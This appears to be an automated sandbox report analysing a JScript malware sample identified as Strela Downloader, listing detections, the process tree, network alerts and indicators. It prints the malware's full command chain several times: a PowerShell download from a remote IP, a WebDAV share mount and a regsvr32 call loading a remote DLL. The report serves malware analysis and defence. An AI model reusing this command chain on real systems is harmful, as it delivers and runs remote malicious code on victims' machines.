Edit tour

Windows Analysis Report
13924233483066821789.js

Overview

General Information

Sample name:	13924233483066821789.js
Analysis ID:	1587867
MD5:	7a7b7df54d173bbbe0fc22731f8db51f
SHA1:	4b239c604777dfe8bee0c32402ab2dd2f57996e3
SHA256:	51136e39277d72631f93e0748c351c7dce584481fe5445509d1fb3f665516f9d
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 1720 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13924233483066821789.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5440 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1396 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 408 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1644 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1968 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1720,i,8080744386788834363,3563767160036206052,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2436 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6764 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1784 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 1720	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5440, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1396, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5440, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1396, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13924233483066821789.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13924233483066821789.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13924233483066821789.js", ProcessId: 1720, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6764, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13924233483066821789.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1720, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ProcessId: 5440, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13924233483066821789.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1720, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ProcessId: 5440, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13924233483066821789.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1720, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ProcessId: 5440, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13924233483066821789.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1720, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ProcessId: 5440, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13924233483066821789.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1720, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ProcessId: 5440, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13924233483066821789.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13924233483066821789.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13924233483066821789.js", ProcessId: 1720, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5440, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1396, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2436, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6764, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1784, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2436, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6764, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13924233483066821789.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1720, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll, ProcessId: 5440, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:46:39.406541+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T18:46:36.838319+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 13924233483066821789.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 13924233483066821789.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:46:36 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

